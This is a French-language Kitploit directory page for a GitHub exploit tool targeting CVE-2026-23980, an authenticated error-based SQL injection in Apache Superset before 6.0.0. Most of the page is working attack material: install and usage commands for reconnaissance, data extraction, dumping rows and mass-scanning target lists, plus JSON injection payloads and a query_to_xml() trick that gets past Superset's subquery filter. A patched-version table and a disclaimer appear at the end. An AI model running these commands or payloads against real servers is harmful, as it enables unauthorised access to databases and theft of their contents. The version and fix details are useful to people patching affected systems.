Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-23980-Exploit — Exploit pour CVE-2026-23980 — Injection SQL basée sur les erreurs, authentifiée, dans Apache Superset < 6.0.0 via le contournement de sqlExpression | Kitploit
Outils/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

Exploit pour CVE-2026-23980 — Injection SQL basée sur les erreurs, authentifiée, dans Apache Superset < 6.0.0 via le contournement de sqlExpression

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
3il y a 5 moisPas encore vérifié
Partager

CVE-2026-23980 - Injection SQL authentifiée dans Apache Superset

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression va directement dans la requête. aucune paramétrisation. aucun espoir.

Apache Superset < 6.0.0 permet aux utilisateurs authentifiés disposant d'un accès en lecture d'effectuer une injection SQL basée sur les erreurs via les paramètres sqlExpression ou where dans le point de terminaison /api/v1/chart/data.

Le filtre validate_adhoc_subquery() est contourné à l'aide des fonctions XML de PostgreSQL (query_to_xml, etc.) qui exécutent du SQL en tant qu'arguments de fonction, invisibles pour l'analyseur lexical sqlparse.

  • CVSS : 6.5 Moyen (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE : CWE-89 (Injection SQL)
  • Versions concernées : Apache Superset < 6.0.0
  • Corrigé dans : Apache Superset 6.0.0
  • Authentification requise : Oui (accès en lecture)
  • Base de données : PostgreSQL (extraction basée sur les erreurs)

Chaîne d'attaque

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> colonne adhoc sqlExpression / extras.where injectés
  -> validate_adhoc_subquery() CONTOURNÉ via query_to_xml()
  -> SQL brut atteint PostgreSQL
  -> CAST((...) AS INT) l'erreur divulgue les données dans la réponse

Installation

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

Utilisation

Reconnaissance - empreinte et énumération des sources de données

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

Tester si une source de données est injectable

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

Extraire des données via injection SQL basée sur les erreurs

root@kitploit:~
# Version de la base de données
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# Utilisateurs de la base de données
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# Lister les tables
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# Utilisateur courant
python3 exploit.py ... --sql "SELECT current_user"

Contourner la validation des sous-requêtes avec query_to_xml()

Lorsque validate_adhoc_subquery() bloque votre requête (détection de FROM/JOIN) :

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

Cela encapsule la requête dans query_to_xml() qui masque la clause FROM à l'analyseur lexical.

Extraire plusieurs lignes

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

Utiliser le point d'injection WHERE

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

Analyse en masse

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

Proxy via Burp

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

Comment cela fonctionne

Vecteurs d'injection

sqlExpression (par défaut) - injecté dans une définition de colonne :

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - injecté dans la clause extras.where :

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

Extraction basée sur les erreurs

L'exploit utilise le transtypage de type de PostgreSQL pour divulguer des données :

root@kitploit:~
CAST((SELECT version()) AS INT)

PostgreSQL ne peut pas convertir une chaîne en entier, il génère donc :

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

La valeur divulguée est extraite du message d'erreur dans la réponse de l'API.

Contournement de la validation

La fonction has_table_query() de Superset recherche FROM/JOIN pour détecter les sous-requêtes. La fonction query_to_xml() de PostgreSQL exécute du SQL mais le masque en tant qu'argument de fonction :

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

L'analyseur lexical voit un appel de fonction, pas une clause FROM, contournant ainsi le filtre.

Analyse du correctif

Références

  • NVD - CVE-2026-23980
  • Avis Apache
  • Quarkslab - Contournement des restrictions SQLi de Superset
  • OSS Security
  • CVE-2025-48912 - Contournement RLS associé

Avertissement

Cet outil est destiné uniquement à la recherche en sécurité autorisée. Utilisez-le uniquement contre des systèmes pour lesquels vous avez une autorisation explicite de test. L'auteur n'est pas responsable d'une mauvaise utilisation.

Télécharger l’outil
VersionStatut
< 4.0.2Vulnérable (aucune liste noire de fonctions XML)
4.0.2Correctif partiel (CVE-2024-39887 - ajout de certaines fonctions XML à la liste noire)
4.1.0Liste noire étendue (plus de fonctions XML)
4.1.2Contournement de la sécurité au niveau des lignes corrigé (CVE-2025-48912)
6.0.0Correctif complet pour CVE-2026-23980